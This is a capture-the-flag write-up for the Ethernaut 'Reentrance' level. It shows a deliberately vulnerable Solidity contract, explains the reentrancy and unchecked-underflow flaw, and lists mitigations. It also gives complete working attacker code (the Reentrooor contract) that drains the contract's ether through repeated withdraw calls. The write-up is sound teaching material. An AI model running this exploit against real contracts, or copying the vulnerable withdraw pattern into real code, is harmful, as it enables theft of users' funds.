Ethernaut 10: Reentrance
Objective
Steal the contract's ether
Code
1contract Reentrance {
2 mapping(address => uint256) public balances;
3
4 function donate(address _to) public payable {
5 balances[_to] += msg.value;
6 }
7
8 function balanceOf(address _who)
9 public view returns (uint256 balance) {
10 return balances[_who];
11 }
12
13 function withdraw(uint256 _amount) public {
14 // We updated this with unchecked so it behaves
15 // as per the original code written to be
16 // compiled with solidity ^0.6.0 As of ^0.8.0,
17 // arithmetic ops will revert on over/underflow
18 // On ^0.6.0, it will wrap
19 unchecked {
20 if (balances[msg.sender] >= _amount) {
21 (bool result,) = msg.sender
22 .call{value: _amount}("");
23 if (result) { _amount; }
24 balances[msg.sender] -= _amount;
25 }
26 }
27 }
28
29 receive() external payable {}
30}
Solution
This contract is vulnerable to a reentrancy attack, as the name says 🙃. and it works as follows:
- A contract with some balance calls the withdraw method with a valid amount
- The check on line 20 passes
- The Reentrance contract transfers ether to the attacker
- The attacker's balance hasn't been updated yet
- This runs the attacker's fallback function
- The attacker's fallback function calls the withdraw method again, with the same amount.
- The cycle repeats from step 1.
- At some point, the attacker decides to stop doing reentrant calls and simply returns. Otherwise, it'd spend all the available gas and revert the transaction.
- Since overflows aren't checked, line 24 doesn't revert the transaction
- All the call frames return and the attacker walks away with all of the contract's ether.
This attack it's possible because several mitigations are skipped:
- plenty of gas is forwarded to the withdrawer (although not doing so is not a good mitigation), so an attacker can call back to the Reentrance contract.
- subtracting _amount from the caller's balance is done after the potentially-reentrant call. If it were done before, then the first reentrant call wouldn't get into the if in line 20. This mitigation is called Checks-Effects-Interactions pattern.
- The subtraction in line 24 is allowed to fail silently. Otherwise, the transaction would revert and no funds would be stolen.
1function solution(address payable target_) internal override{
2 Reentrance target = Reentrance(target_);
3 Reentrooor reentrooor = new Reentrooor(target);
4 reentrooor.deposit{value: 0.001 ether}();
5 reentrooor.attack();
6}
1contract Reentrooor {
2 Reentrance private target;
3 uint256 private calls = 0;
4 constructor(Reentrance _target) {
5 target = _target;
6 }
7
8 function deposit() public payable {
9 target.donate{value: msg.value}(address(this));
10 }
11 function attack() public {
12 target.withdraw(0.001 ether);
13 }
14
15 receive() external payable {
16 if(calls++ > 2) return;
17 target.withdraw(0.001 ether);
18 }
19}
😎
Would you find this more fun as a livestream? I think it'd be more fun to see me try all the wrong solutions than to read a lecture on how a level is solved.
See you next week!